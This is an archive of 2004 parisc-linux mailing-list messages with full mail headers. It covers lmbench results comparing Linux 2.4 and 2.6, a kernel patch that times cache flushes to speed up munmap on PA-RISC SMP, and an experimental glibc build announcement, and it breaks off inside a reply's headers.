                        ctxsw  ctxsw  ctxsw ctxsw  ctxsw   ctxsw   ctxsw
--------- ------------- ----- ------ ------ ------ ------ ------- -------
ios       Linux 2.4.20- 5.630 5.1500 4.9900 9.0800   23.4    52.1   175.8
ios       Linux 2.6.9-r  13.0   12.7   12.2   23.2  110.9    62.5   179.0

*Local* Communication latencies in microseconds - smaller is better
-------------------------------------------------------------------
Host                 OS 2p/0K  Pipe AF     UDP  RPC/   TCP  RPC/ TCP
                        ctxsw       UNIX         UDP         TCP conn
--------- ------------- ----- ----- ---- ----- ----- ----- ----- ----
ios       Linux 2.4.20- 5.630  20.4 48.4  89.2 172.5 114.1 351.5 1000
ios       Linux 2.6.9-r  13.0  73.8 48.2 144.5 209.0 252.3 250.2     

File & VM system latencies in microseconds - smaller is better
--------------------------------------------------------------
Host                 OS   0K File      10K File      Mmap    Prot    Page	
                        Create Delete Create Delete  Latency Fault   Fault 
--------- ------------- ------ ------ ------ ------  ------- -----   ----- 
ios       Linux 2.4.20-  130.0   80.0  509.9  180.0  3120.0K 603.4    58.0
ios       Linux 2.6.9-r   93.0   67.0  302.9  165.0    95.1K 732.1    42.0

*Local* Communication bandwidths in MB/s - bigger is better
-----------------------------------------------------------
Host                OS  Pipe AF    TCP  File   Mmap  Bcopy  Bcopy  Mem   Mem
                             UNIX      reread reread (libc) (hand) read write
--------- ------------- ---- ---- ---- ------ ------ ------ ------ ---- -----
ios       Linux 2.4.20- 49.1 81.0 33.6   74.0  268.4  201.8  168.8 260. 250.9
ios       Linux 2.6.9-r 224. 328. 183.  283.6  264.2  184.3  155.0 256. 233.1

Memory latencies in nanoseconds - smaller is better
    (WARNING - may not be correct, check graphs)
---------------------------------------------------
Host                 OS   Mhz  L1 $   L2 $    Main mem    Guesses
--------- -------------  ---- ----- ------    --------    -------
ios       Linux 2.4.20-   440  20.0   20.0  220.0    No L1 cache?
ios       Linux 2.6.9-r   440  23.0   22.0  233.0    No L1 cache?
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Improving performance of munmap
Date: Thu, 7 Oct 2004 16:02:32 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20041007230232.GF14151@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623578 11251 80.91.229.3 (22 Nov 2014 02:32:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18503 invoked by uid 65534); 7 Oct 2004 23:02:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx019) with SMTP; 08 Oct 2004 01:02:59 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 230003BD31; Thu,  7 Oct 2004 17:02:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12409-04; Thu, 7 Oct 2004 17:02:56 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AF7473BDCE; Thu,  7 Oct 2004 17:02:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A585B3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 17:02:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12194-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Oct 2004 17:02:36 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 581943BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 17:02:36 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1DE49CD2AE; Thu,  7 Oct 2004 16:02:32 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22057

Hi all,

On a 2.6 SMP kernel, munmap()ing 16MB currently takes on the order of
0.8-0.9 seconds on a 440MHz machine. on a UP machine it takes about 5ms.

profiling shows that we are spending a lot of time flushing caches:

tausq@ios:~/parisc/linux-2.6$ sort -nr -k3 ~/test/mmap/after |head
 48586 cpu_idle                                 759.1562
 37906 machine_restart                          592.2812
 10951 flush_user_icache_range_asm              304.1944
 10946 flush_user_dcache_range_asm              304.0556
   129 flush_kernel_icache_page                   1.2900
    29 _spin_unlock_bh                            0.6042
     9 fdsync                                     0.4500
    10 _spin_unlock_irq                           0.4167

i believe this is related to the way we implement flush_tlb_mm(). on SMP
we currently flush the entire tlb, instead of just invaliding the
process context. this is needed to get the correct behavior if a
multithreaded app is simultaneously running on >1 CPUs. James had
suggested previously that we might be able to do something smarter, such
as sending an ipi to the other CPU to switch the context. 

would anybody like to look into this problem, or suggest some ways to
tackle this?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Improving performance of munmap
Date: Fri, 8 Oct 2004 09:59:26 -0700
Lines: 166
Approved: news@gmane.org
Message-ID: <20041008165926.GI14151@tausq.org>
References: <20041007230232.GF14151@tausq.org>
	<20041008020343.GN24430@baldric.uwo.ca>
	<20041008041657.GG14151@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623578 11252 80.91.229.3 (22 Nov 2014 02:32:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18225 invoked by uid 65534); 8 Oct 2004 17:01:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 08 Oct 2004 19:01:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C7D463BDF2; Fri,  8 Oct 2004 11:01:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21946-05; Fri, 8 Oct 2004 11:01:08 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9F7593BDCE; Fri,  8 Oct 2004 10:59:32 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C8953BD3D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 10:59:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21946-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Oct 2004 10:59:27 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id B45153BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 10:59:26 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C75F6CD315; Fri,  8 Oct 2004 09:59:26 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20041008041657.GG14151@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22058

In reference to a message from Randolph Chung, dated Oct 07:
> i made some changes to the flush_user_{dcache,icache}_range
> implementation and it seems to be better now. will post the patch
> tomorrow after some cleanups.

Here's the patch. Any comments before i check it in?

On the a500 that i am testing on, this bumps the cache threshold up 
from 0.5MB to 1MB after the timing.

I've retained the assumption in the code that the icache and dcache
thresholds are the same. i don't know if that's really a good
assumption though.

One more thing -- the performance of flush_data_cache() (i.e. the 
architected whole-cache flush) seems to be dependent on the current
contents of the cache. i suppose that when the cache is more heavily
populated it takes longer to flush. so if you do multiple timings of
flush_data_cache() one after the other, the calls after the first tend
to be much faster (2-3x in one experiment). i've decided to only use the
first measurement, with the assumption that on a running system the
cache is normally fairly populated.

randolph

Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.21
diff -u -p -r1.21 cache.c
--- arch/parisc/kernel/cache.c	13 Sep 2004 15:22:24 -0000	1.21
+++ arch/parisc/kernel/cache.c	8 Oct 2004 16:48:22 -0000
@@ -55,6 +55,11 @@ flush_data_cache(void)
 {
 	on_each_cpu((void (*)(void *))flush_data_cache_local, NULL, 1, 1);
 }
+void 
+flush_instruction_cache(void)
+{
+	on_each_cpu((void (*)(void *))flush_instruction_cache_local, NULL, 1, 1);
+}
 #endif
 
 void
@@ -326,4 +331,36 @@ void clear_user_page_asm(void *page, uns
 	purge_tlb_start();
 	__clear_user_page_asm(page, vaddr);
 	purge_tlb_end();
+}
+
+#define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
+int parisc_cache_flush_threshold = FLUSH_THRESHOLD;
+
+void parisc_setup_cache_timing(void)
+{
+	unsigned long rangetime, alltime;
+	extern char _text;	/* start of kernel code, defined by linker */
+	extern char _end;	/* end of BSS, defined by linker */
+	unsigned long size;
+
+	alltime = mfctl(16);
+	flush_data_cache();
+	alltime = mfctl(16) - alltime;
+
+	size = (unsigned long)(&_end - _text);
+	rangetime = mfctl(16);
+	flush_kernel_dcache_range((unsigned long)&_text, size);
+	rangetime = mfctl(16) - rangetime;
+
+	printk(KERN_DEBUG "Whole cache flush %lu cycles, flushing %lu bytes %lu cycles\n",
+		alltime, size, rangetime);
+
+	/* Racy, but if we see an intermediate value, it's ok too... */
+	parisc_cache_flush_threshold = size * alltime / rangetime;
+
+	parisc_cache_flush_threshold = (parisc_cache_flush_threshold + L1_CACHE_BYTES - 1) &~ (L1_CACHE_BYTES - 1); 
+	if (!parisc_cache_flush_threshold)
+		parisc_cache_flush_threshold = FLUSH_THRESHOLD;
+
+	printk("Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
Index: arch/parisc/kernel/setup.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/setup.c,v
retrieving revision 1.8
diff -u -p -r1.8 setup.c
--- arch/parisc/kernel/setup.c	4 Oct 2004 19:12:49 -0000	1.8
+++ arch/parisc/kernel/setup.c	8 Oct 2004 16:48:22 -0000
@@ -310,6 +310,8 @@ static int __init parisc_init(void)
 			boot_cpu_data.cpu_hz / 1000000,
 			boot_cpu_data.cpu_hz % 1000000	);
 
+	parisc_setup_cache_timing();
+
 	/* These are in a non-obvious order, will fix when we have an iotree */
 #if defined(CONFIG_IOSAPIC)
 	iosapic_init();
Index: include/asm-parisc/cache.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/cache.h,v
retrieving revision 1.3
diff -u -p -r1.3 cache.h
--- include/asm-parisc/cache.h	5 Apr 2004 02:47:39 -0000	1.3
+++ include/asm-parisc/cache.h	8 Oct 2004 16:48:44 -0000
@@ -34,6 +34,7 @@ extern void flush_data_cache_local(void)
 extern void flush_instruction_cache_local(void); /* flushes local code-cache only */
 #ifdef CONFIG_SMP
 extern void flush_data_cache(void); /* flushes data-cache only (all processors) */
+extern void flush_instruction_cache(void); /* flushes i-cache only (all processors) */
 #else
 #define flush_data_cache flush_data_cache_local
 #define flush_instruction_cache flush_instruction_cache_local
Index: include/asm-parisc/cacheflush.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/cacheflush.h,v
retrieving revision 1.15
diff -u -p -r1.15 cacheflush.h
--- include/asm-parisc/cacheflush.h	30 Sep 2004 12:08:46 -0000	1.15
+++ include/asm-parisc/cacheflush.h	8 Oct 2004 16:48:44 -0000
@@ -33,36 +33,25 @@ static inline void flush_cache_all(void)
 #define flush_cache_vmap(start, end)		flush_cache_all()
 #define flush_cache_vunmap(start, end)		flush_cache_all()
 
-/* The following value needs to be tuned and probably scaled with the
- * cache size.
- */
-
-#define FLUSH_THRESHOLD 0x80000
+extern int parisc_cache_flush_threshold;
+void parisc_setup_cache_timing(void);
 
 static inline void
 flush_user_dcache_range(unsigned long start, unsigned long end)
 {
-#ifdef CONFIG_SMP
-	flush_user_dcache_range_asm(start,end);
-#else
-	if ((end - start) < FLUSH_THRESHOLD)
+	if ((end - start) < parisc_cache_flush_threshold)
 		flush_user_dcache_range_asm(start,end);
 	else
 		flush_data_cache();
-#endif
 }
 
 static inline void
 flush_user_icache_range(unsigned long start, unsigned long end)
 {
-#ifdef CONFIG_SMP
-	flush_user_icache_range_asm(start,end);
-#else
-	if ((end - start) < FLUSH_THRESHOLD)
+	if ((end - start) < parisc_cache_flush_threshold)
 		flush_user_icache_range_asm(start,end);
 	else
 		flush_instruction_cache();
-#endif
 }
 
 extern void flush_dcache_page(struct page *page);
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Improving performance of munmap
Date: Fri, 8 Oct 2004 10:05:47 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20041008170547.GJ14151@tausq.org>
References: <20041007230232.GF14151@tausq.org>
	<20041008020343.GN24430@baldric.uwo.ca>
	<20041008041657.GG14151@tausq.org>
	<20041008165926.GI14151@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623579 11255 80.91.229.3 (22 Nov 2014 02:32:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3047 invoked by uid 65534); 8 Oct 2004 17:07:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 08 Oct 2004 19:07:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 37A8E3BE0E; Fri,  8 Oct 2004 11:07:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22210-02; Fri, 8 Oct 2004 11:07:27 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 133053BDFF; Fri,  8 Oct 2004 11:05:48 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 132A63BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 11:05:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21946-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Oct 2004 11:05:44 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id C74D23BD3D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 11:05:43 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 4112ACD315; Fri,  8 Oct 2004 10:05:47 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20041008165926.GI14151@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22059

> On the a500 that i am testing on, this bumps the cache threshold up 
> from 0.5MB to 1MB after the timing.

sorry, that should read:
"On the a500 that i am testing on, this bumps the cache threshold up 
 from 0.5MB to 2MB after the timing."

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Updates] glibc 2.3.3 experimental update.
Date: Fri, 8 Oct 2004 13:56:19 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20041008175619.GF24430@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623579 11260 80.91.229.3 (22 Nov 2014 02:32:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17994 invoked by uid 65534); 8 Oct 2004 17:58:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 08 Oct 2004 19:58:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CCB783BE25; Fri,  8 Oct 2004 11:58:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22710-10; Fri, 8 Oct 2004 11:58:04 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2F0453BE26; Fri,  8 Oct 2004 11:56:36 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B83703BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 11:56:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22530-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Oct 2004 11:56:22 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 6E3AC3BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 11:56:22 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CFyya-00067a-00 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 08 Oct 2004 13:56:20 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (13% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22060


pa,

http://www.parisc-linux.org/~carlos/glibc-work/glibc-2.3.3-debs-2004-10-08/

- Forward ported the non-arch debian patches.
- Updated the cvs tarball.

The main difference I believe is in the 'non-arch' debian patches. I
carried as many forward as was possible. This work will probably make it
back to a debian experimental glibc :)

This release is for those of you that like to test out new glibc's...

The previous glibc had problems with gdb's testsuite and symbol
resolution. Running a test on that now.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Improving performance of munmap
Date: Fri, 8 Oct 2004 11:35:01 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20041008173501.GA16958@colo.lackof.org>
References: <20041007230232.GF14151@tausq.org>
	<20041008020343.GN24430@baldric.uwo.ca>
	<20041008041657.GG14151@tausq.org>
	<20041008165926.GI14151@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623579 11263 80.91.229.3 (22 Nov 2014 02:32:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5901 invoked by uid 65534); 8 Oct 2004 17:36:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 08 Oct 2004 19:36:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CE5253BC80; Fri,  8 Oct 2004 11:36:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
